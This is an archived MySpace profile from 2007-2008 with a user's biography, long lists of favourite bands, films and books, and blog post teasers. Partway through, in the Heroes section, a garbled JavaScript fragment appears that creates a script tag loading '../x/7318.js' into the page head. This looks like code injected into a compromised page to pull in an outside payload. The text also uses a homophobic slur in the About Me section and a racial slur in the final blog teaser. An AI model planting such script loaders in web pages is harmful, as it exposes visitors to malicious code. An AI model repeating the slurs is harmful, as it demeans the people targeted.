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LFH

i dont like to brag, but im kind of a big deal around here

About Me

they call me lfh. some add the m. born and raised in balitmore, i dont think i could live anywhere else. i rarely find a broad that can keep up with me when im out. i have the best friends in the world and an extremely supportive girlfriend, and im extremely protective of all of them. i work part time as a projectionist for AMC and im currently attending Medix Towson for the medical assistant program, after which i plan to get my CMA, CNA, and EMT training to work in shock trauma and emergency care. externship for hopkins? keepin my fingers crossed. i drive a saturn with suicide doors. say somethin.

ps: can you fags stop putting billy talent on ur page? youre ruining the band for people with a soul.

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My Interests

i play guitar. i sk8 in the summer and snowboard in the winter. i like japanese food, thai food, cuddling, chocolate, and juice. non-interests: a girlfriend.

I'd like to meet:

rich chicks that find me witty and charming

helen keller, gary busey, william hung, paula abdul, bobby brown

Music:

:: bush :: static-x :: marilyn manson :: deftones :: rolling stones :: the beatles :: genesis pre-phil collins :: marillion :: dream theatre :: yes :: hendrix :: damone :: the vandals :: the union underground :: killswitch engage :: coal chamber :: michelle branch :: jewel :: ani difranco :: melissa ferrick :: billy idol :: the cars :: the police :: jerkey boys :: gin blossoms :: collective soul :: tonic :: veruca salt :: missy elliott :: petey pablo :: powerman 5000 :: rob zombie :: unearth :: lamb of god :: pretty girls make graves :: the gits :: stabbing westward :: the cardigans :: devildriver :: alanis morsette :: in flames :: motograter :: machinehead :: electra-kill :: zeromancer :: dope :: tracy bonham :: the blood brothers :: michael buble :: smashing pumpkins :: kill hannah :: ludacris :: skillet :: kansas :: blue oyster cult :: queen :: fall out boy :: alkaline trio :: all american rejects :: billy talent :: the used :: panic! at the disco :: pretty balanced :: glass intrepid :: bleed the dream :: the decemberists :: FISTBOX :: kmfdm :: dmx :: young jeezy :: t.i :: wtc :: shiny toy guns :: the birthday massacre :: silversun pickups :: placebo :: flyleaf :: paramore ::


Movies:

:: drop dead fred :: national lampoons :: finding nemo :: se7en :: saw :: team america world police :: taxi :: bringing down the house :: gone in 60 seconds :: dont tell mom the babysitters dead :: but im a cheerleader :: lost and delirious :: rocky horror picture show :: little shop of horrors :: tremors 1, 2, 3, and 4 :: alien :: texas chainsaw massacre

:: house of 1000 corpses :: the eye :: ji on :: the girl :: the devils rejects :: beetlejuice :: mario brothers movies :: alice in wonderland :: the bone collector :: bio-dome :: edward scissorhands :: charlie and the chocolate factory :: wedding crashers :: mr and mrs smith :: high tension :: meet the fockers :: anchorman :: the stepford wives :: war of the worlds :: nosferatu :: the secret :: the breakup :: talladega nights :: blades of glory :: best in show :: for your conisderation ::

Television:

:: mad tv :: trigger happy tv :: crossballs :: drawn together :: the simpsons :: forensic files :: The Upright Citizens Bregade - my personal favorite :: kids in the hall :: strangers with candy :: monte python :: may i serve you :: the outer limits :: the twilight zone :: pink panther ::

Books:

:: sylvia plath - the bell jar :: robert heinlein - the puppetmasters, the moon is a harsh mistress, stranger in a strange land :: jack finney - the body snatchers :: everything by chuck palahniuk :: bret easton ellis - american psycho, the rules of attraction ::

Heroes:

single parents. flag burners. peace corps. most of all, Sally O'Mally. shes fifty, you know. .."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"

My Blog

fun facts

if your ex gf of 2 years has herpes, odds are you have it. chronic conjunctivitis is often caused by chlamydia. what goes around comes around.    
Posted by LFH on Mon, 17 Mar 2008 07:25:00 PST

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Posted by LFH on Fri, 14 Mar 2008 01:04:00 PST

blog

ahem 98 on todays final.   that is all.
Posted by LFH on Thu, 21 Feb 2008 05:22:00 PST

hey! over here!

im not gonna use names so i dont get accused of puttin ppls shit on blast. but you all know who you are. i figure i wont embarass you idiots on myspace. and i rarely get the time to sit down and bitch...
Posted by LFH on Mon, 18 Feb 2008 09:58:00 PST

hey!!!!!!!!!!!!!!!!!!!!!!

I LOVE JAKE   yessir.
Posted by LFH on Sun, 03 Feb 2008 10:59:00 PST

buzz

so i havent written in a while and figured id give an update. im now in school and i absolutely love it. its intense and a little heavy on the reading but its great. most of the ppl there are awesome ...
Posted by LFH on Wed, 23 Jan 2008 02:30:00 PST

yea. i said it.

the war is over? no dear. not even close. what youve seen is a pillowfight compared to whats to come.  
Posted by LFH on Sun, 30 Dec 2007 04:02:00 PST

and MINE says . .

Wednesday, 5 December, 2007 Pisces (19 Feb - 20 Mar) The confusing mists are clearing and you are standing out in the clear sunlight of awareness. For now, you can see exactly what is going on. Unfor...
Posted by LFH on Wed, 05 Dec 2007 01:24:00 PST

dear everyone i know:

generally if someone has a leak in their roof, or wherever for that matter, they get it fixed immediately. why? because not only are the damages superficial. in extreme cases even the foundation can b...
Posted by LFH on Wed, 28 Nov 2007 08:43:00 PST

ladies and gentlemen

pat yourselves on the back. youve all made it crystal clear where your loyalties lie. i see rite thru u nigga
Posted by LFH on Sat, 24 Nov 2007 09:19:00 PST